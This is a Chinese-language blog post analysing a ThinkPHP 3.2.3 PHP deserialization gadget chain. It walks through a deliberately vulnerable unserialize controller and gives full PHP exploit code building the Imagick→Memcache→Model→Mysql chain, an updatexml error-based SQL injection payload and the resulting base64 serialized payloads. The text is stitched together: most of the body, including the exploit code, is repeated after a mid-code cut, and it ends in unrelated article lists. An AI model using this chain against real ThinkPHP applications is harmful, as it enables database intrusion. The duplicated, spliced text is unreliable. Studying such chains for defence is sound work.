ThinkPHP3.2.3反序列化链子分析
前言
目前官方已经不再维护ThinkPHP3.2.3,本文仅对ThinkPHP3.2.3反序列化链子进行复现,如有纰漏,还望指正。
环境介绍
MAMP pro
PhpStorm
Xdebug
利用条件
具备反序列化入口
分析过程
首先在分析前,先新建一个控制器,写一个反序列化入口
在Application/Home/Controller/HelloController.class.php中新建以下内容:
<?php
namespace Home\Controller;
use Think\Controller;
class HelloController extends Controller
{
public function index($Lxxx){
echo base64_decode($Lxxx);
$a = unserialize(base64_decode($Lxxx));
}
}
反序列化入口自己创建好了,接下来新建一个开始找反序列化链头,因为大多数反序列化漏洞,都是由__destruct()魔术方法引起的,因此全局搜索public function __destruct()
分析一下不可用入口:

例如,像上方这种,就没有可控参数,就不是很好利用
通常,在寻找__destruct()可用的魔术方法需遵循“可控变量尽可能多”的原则
因此在ThinkPHP/Library/Think/Image/Driver/Imagick.class.php文件中,找到具有可控变量的析构函数方法:

如果我们对img属性赋一个对象,那么它会调用destroy()方法,这时,我们全局搜索具有destroy()方法的类,这里有一个坑点,就是在PHP7版本中,如果调用一个含参数的方法,却不传入参数时,ThinkPHP会报错,而在PHP5版本中不会报错
而我们全局搜索的结果如下:

在ThinkPHP/Library/Think/Model.class.php中,destroy()方法有两个可控参数,调用的是delete方法,同样,类可控,delete方法的参数看似可控,其实不可控,因为下方全局搜索后,delete方法需要的参数大多数都为array形式,而上方传入的是$this->sessionName.$sessID,即使$this->sesionName设置为数组array,但是$sessID如果为空值,在PHP中,用.连接符连接,得到的结果为字符串array。
<?php
$a = array("123"=>"123");
var_dump($a."");
?>
string(5) "Array"
接下来全局搜索delete方法

如果能够满足红色方框前面的条件,那么我们期望能调用红色方框中的delete方法
上面分析了这么多了,保险起见,我们这边还是先在这个文件下,echo一个值,然后将前面分析的链子整合一下,进行反序列化,看看调用过程是否正确。

前面一共涉及到三个类,我们在Model.class.php中打印一个值,构造这三个类序列化字符串如下:
<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle = null;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
class Model{
}
}
namespace{
$a = new Think\Image\Driver\Imagick();
echo base64_encode(serialize($a));
}
输出:
TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjA6e319fQ==
传给浏览器后,我们可以看到Lxxx被成功的打印了出来

也就是说截止目前,我们的分析还没有问题,那接着往下分析:
在ThinkPHP/Library/Think/Model.class.php中,$this->data可控,我们期望进入下方的return语句中,因为此时如果我们对$this->data传入,则该方法的option参数变相可控

接着看这个方法,往下看,看看是否有可控的点

上方红框的位置$this->db我们可控,delete方法也可控,option值上面说了,变相可控
那么我们就可以继续搜索delete方法,注意,这个时候搜索delete方法和上面就不一样的了,之前delete方法参数不可控,此时可控了。

在ThinkPHP/Library/Think/Db/Driver.class.php文件中,可能存在SQL注入的点,我们跟进看一看。
下方的sql语句可能存在注入

这里直接对table进行拼接,上方有一个parseTable方法,跟进看一下,看看是否存在过滤。

可以看到,这里parseTable方法只是调用了parseKey方法,再跟进parseKey方法

parseKey方法没有过滤,直接将传入的参数返回,下方红框处就是执行sql的地方了,在执行之前可以将sql打印出来,方便调试

这么一来就可以构造链子了
<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle = null;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $pk;
protected $db;
protected $data = array();
public function __construct(){
$this->db = new Mysql();
$this->pk = "id";
$this->data[$this->pk] = array(
"table" => "mysql.user where 0 or updatexml(1,concat(0x7e,database()),1)#",
"where" => "1=1"
);
}
}
}
namespace Think\Db\Driver{
class Mysql{
protected $config = array(
"debug" => 1,
"database" => "tp323",
"hostname" => "127.0.0.1",
"hostport" => "8889",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
前言
目前官方已经不再维护ThinkPHP3.2.3,本文仅对ThinkPHP3.2.3反序列化链子进行复现,如有纰漏,还望指正。
环境介绍
MAMP pro
PhpStorm
Xdebug
利用条件
具备反序列化入口
分析过程
首先在分析前,先新建一个控制器,写一个反序列化入口
在Application/Home/Controller/HelloController.class.php中新建以下内容:
<?php
namespace Home\Controller;
use Think\Controller;
class HelloController extends Controller
{
public function index($Lxxx){
echo base64_decode($Lxxx);
$a = unserialize(base64_decode($Lxxx));
}
}
反序列化入口自己创建好了,接下来新建一个开始找反序列化链头,因为大多数反序列化漏洞,都是由__destruct()魔术方法引起的,因此全局搜索public function __destruct()
分析一下不可用入口:

例如,像上方这种,就没有可控参数,就不是很好利用
通常,在寻找__destruct()可用的魔术方法需遵循“可控变量尽可能多”的原则
因此在ThinkPHP/Library/Think/Image/Driver/Imagick.class.php文件中,找到具有可控变量的析构函数方法:

如果我们对img属性赋一个对象,那么它会调用destroy()方法,这时,我们全局搜索具有destroy()方法的类,这里有一个坑点,就是在PHP7版本中,如果调用一个含参数的方法,却不传入参数时,ThinkPHP会报错,而在PHP5版本中不会报错
而我们全局搜索的结果如下:

在ThinkPHP/Library/Think/Model.class.php中,destroy()方法有两个可控参数,调用的是delete方法,同样,类可控,delete方法的参数看似可控,其实不可控,因为下方全局搜索后,delete方法需要的参数大多数都为array形式,而上方传入的是$this->sessionName.$sessID,即使$this->sesionName设置为数组array,但是$sessID如果为空值,在PHP中,用.连接符连接,得到的结果为字符串array。
<?php
$a = array("123"=>"123");
var_dump($a."");
?>
string(5) "Array"
接下来全局搜索delete方法

如果能够满足红色方框前面的条件,那么我们期望能调用红色方框中的delete方法
上面分析了这么多了,保险起见,我们这边还是先在这个文件下,echo一个值,然后将前面分析的链子整合一下,进行反序列化,看看调用过程是否正确。

前面一共涉及到三个类,我们在Model.class.php中打印一个值,构造这三个类序列化字符串如下:
<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle = null;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
class Model{
}
}
namespace{
$a = new Think\Image\Driver\Imagick();
echo base64_encode(serialize($a));
}
输出:
TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjA6e319fQ==
传给浏览器后,我们可以看到Lxxx被成功的打印了出来

也就是说截止目前,我们的分析还没有问题,那接着往下分析:
在ThinkPHP/Library/Think/Model.class.php中,$this->data可控,我们期望进入下方的return语句中,因为此时如果我们对$this->data传入,则该方法的option参数变相可控

接着看这个方法,往下看,看看是否有可控的点

上方红框的位置$this->db我们可控,delete方法也可控,option值上面说了,变相可控
那么我们就可以继续搜索delete方法,注意,这个时候搜索delete方法和上面就不一样的了,之前delete方法参数不可控,此时可控了。

在ThinkPHP/Library/Think/Db/Driver.class.php文件中,可能存在SQL注入的点,我们跟进看一看。
下方的sql语句可能存在注入

这里直接对table进行拼接,上方有一个parseTable方法,跟进看一下,看看是否存在过滤。

可以看到,这里parseTable方法只是调用了parseKey方法,再跟进parseKey方法

parseKey方法没有过滤,直接将传入的参数返回,下方红框处就是执行sql的地方了,在执行之前可以将sql打印出来,方便调试

这么一来就可以构造链子了
<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle = null;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $pk;
protected $db;
protected $data = array();
public function __construct(){
$this->db = new Mysql();
$this->pk = "id";
$this->data[$this->pk] = array(
"table" => "mysql.user where 0 or updatexml(1,concat(0x7e,database()),1)#",
"where" => "1=1"
);
}
}
}
namespace Think\Db\Driver{
class Mysql{
protected $config = array(
"debug" => 1,
"database" => "tp323",
"hostname" => "127.0.0.1",
"hostport" => "8889",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}
}
namespace{
$a = new Think\Image\Driver\Imagick();
echo base64_encode(serialize($a));
}
得到结果:
TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjM6e3M6NToiACoAcGsiO3M6MjoiaWQiO3M6NToiACoAZGIiO086MjE6IlRoaW5rXERiXERyaXZlclxNeXNxbCI6MTp7czo5OiIAKgBjb25maWciO2E6Nzp7czo1OiJkZWJ1ZyI7aToxO3M6ODoiZGF0YWJhc2UiO3M6NToidHAzMjMiO3M6ODoiaG9zdG5hbWUiO3M6OToiMTI3LjAuMC4xIjtzOjg6Imhvc3Rwb3J0IjtzOjQ6Ijg4ODkiO3M6NzoiY2hhcnNldCI7czo0OiJ1dGY4IjtzOjg6InVzZXJuYW1lIjtzOjQ6InJvb3QiO3M6ODoicGFzc3dvcmQiO3M6NDoicm9vdCI7fX1zOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjYxOiJteXNxbC51c2VyIHdoZXJlIDAgb3IgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMSkjIjtzOjU6IndoZXJlIjtzOjM6IjE9MSI7fX19fX0

后记
多断点,多打印,多跟进,多思考。
推荐实验:PHP反序列化漏洞实验(合天网安实验室) 点击进入实操>>
}
}
namespace{
$a = new Think\Image\Driver\Imagick();
echo base64_encode(serialize($a));
}
得到结果:
TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjM6e3M6NToiACoAcGsiO3M6MjoiaWQiO3M6NToiACoAZGIiO086MjE6IlRoaW5rXERiXERyaXZlclxNeXNxbCI6MTp7czo5OiIAKgBjb25maWciO2E6Nzp7czo1OiJkZWJ1ZyI7aToxO3M6ODoiZGF0YWJhc2UiO3M6NToidHAzMjMiO3M6ODoiaG9zdG5hbWUiO3M6OToiMTI3LjAuMC4xIjtzOjg6Imhvc3Rwb3J0IjtzOjQ6Ijg4ODkiO3M6NzoiY2hhcnNldCI7czo0OiJ1dGY4IjtzOjg6InVzZXJuYW1lIjtzOjQ6InJvb3QiO3M6ODoicGFzc3dvcmQiO3M6NDoicm9vdCI7fX1zOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjYxOiJteXNxbC51c2VyIHdoZXJlIDAgb3IgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMSkjIjtzOjU6IndoZXJlIjtzOjM6IjE9MSI7fX19fX0

后记
多断点,多打印,多跟进,多思考。
推荐实验:PHP反序列化漏洞实验(合天网安实验室) 点击进入实操>>
ThinkPHP3.2.3反序列化链子分析的更多相关文章
- Fastjson反序列化漏洞分析 1.2.22-1.2.24
Fastjson反序列化漏洞分析 1.2.22-1.2.24 Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两 ...
- Java反序列化漏洞分析
相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...
- Fastjson 1.2.22-24 反序列化漏洞分析
目录 0x00 废话 0x01 简单介绍 FastJson的简单使用 0x02 原理分析 分析POC 调试分析 0x03 复现过程 0x04 参考文章 0x00 废话 balabala 开始 0x01 ...
- ref:Java安全之反序列化漏洞分析(简单-朴实)
ref:https://mp.weixin.qq.com/s?__biz=MzIzMzgxOTQ5NA==&mid=2247484200&idx=1&sn=8f3201f44e ...
- Java安全之Shiro 550反序列化漏洞分析
Java安全之Shiro 550反序列化漏洞分析 首发自安全客:Java安全之Shiro 550反序列化漏洞分析 0x00 前言 在近些时间基本都能在一些渗透或者是攻防演练中看到Shiro的身影,也是 ...
- Java安全之Fastjson反序列化漏洞分析
Java安全之Fastjson反序列化漏洞分析 首发:先知论坛 0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础.利于后面的漏洞分析. 0x01 Fas ...
- Java安全之Cas反序列化漏洞分析
Java安全之Cas反序列化漏洞分析 0x00 前言 某次项目中遇到Cas,以前没接触过,借此机会学习一波. 0x01 Cas 简介 CAS 是 Yale 大学发起的一个开源项目,旨在为 Web 应用 ...
- Fastjson 1.2.22-24 反序列化漏洞分析(2)
Fastjson 1.2.22-24 反序列化漏洞分析(2) 1.环境搭建 我们以ubuntu作为被攻击的服务器,本机电脑作为攻击者 本机地址:192.168.202.1 ubuntu地址:192.1 ...
- Fastjson 1.2.22-24 反序列化漏洞分析(1)
Fastjson 1.2.22-24 反序列化漏洞分析(1) 前言 FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转 ...
随机推荐
- 虚拟机Centos安装配置
开始吧~ 新建一个虚拟机 完成后编辑虚拟机 配置内存 处理器: 映像文件: 点击确定完成配置: 开启虚拟机,对操作系统进行配置 输入红线上内容,为计算机选择默认网卡 选择安装时的语言,可选择中文: 设 ...
- 6月27日 ajax
AJAX准备知识:JSON 什么是 JSON ? JSON 指的是 JavaScript 对象表示法(JavaScript Object Notation) JSON 是轻量级的文本数据交换格式 JS ...
- http请求中的三种参数类型
1.URL参数:实际就是querry string的方式,参数拼接在url之后以?隔开,参数之间以&连接. 优点:简单,页面跳转比较快. 缺点:1.基于浏览器对urk长度有限制,不能超过204 ...
- 《手把手教你》系列基础篇(八十一)-java+ selenium自动化测试-框架设计基础-TestNG如何暂停执行一些case(详解教程)
1.简介 在实际测试过程中,我们经常会遇到这样的情况,开发由于某些原因导致一些模块进度延后,而你的自动化测试脚本已经提前完成,这样就会有部分模块测试,有部分模块不能进行测试.这就需要我们暂时不让一些t ...
- Intellij IDEA实现SpringBoot项目多端口启动的两种方法
有时候使用springboot项目时遇到这样一种情况,用一个项目需要复制很多遍进行测试,除了端口号不同以外,没有任何不同.遇到这种情况怎么办呢?这时候可以使用Intellij IDEA解决 前言 有时 ...
- Kafka 新旧消费者的区别?
旧的 Kafka 消费者 API 主要包括:SimpleConsumer(简单消费者) 和 ZookeeperConsumerConnectir(高级消费者).SimpleConsumer 名字看起来 ...
- Java中自动装箱与拆箱
一.什么是封装类? Java中存在基础数据类型,但是在某些情况下,我们要对基础数据类型进行对象的操作,例如,集合中只能存在对象,而不能存在基础数据类型,于是便出现了包装器类.包装器类型就是对基本数据类 ...
- thymeleaf调用静态类
为啥需要调用本地静态方法 Thymeleaf模板里面有时候需要使用本地静态常量,要是每次都在控制层传一遍很麻烦 我们需要在Thymeleaf模板我们使用比如 1代表一年级,2代表二年级,3代表三年级等 ...
- State Lattice Planner(状态栅格规划)
参考文献: Efficient constrained path planning via search in state lattices Differentially Constrained Mo ...
- poj_2386_dfs
描述 由于最近的一场雨,农夫john的田地里很多地方流入了水,由一个N*M的矩形表示.每个方格要么有水(W)要么是干的(.).农夫想要知道他的田地里形成了多少池塘. 一个池塘由有水的方块相连,每个方块 ...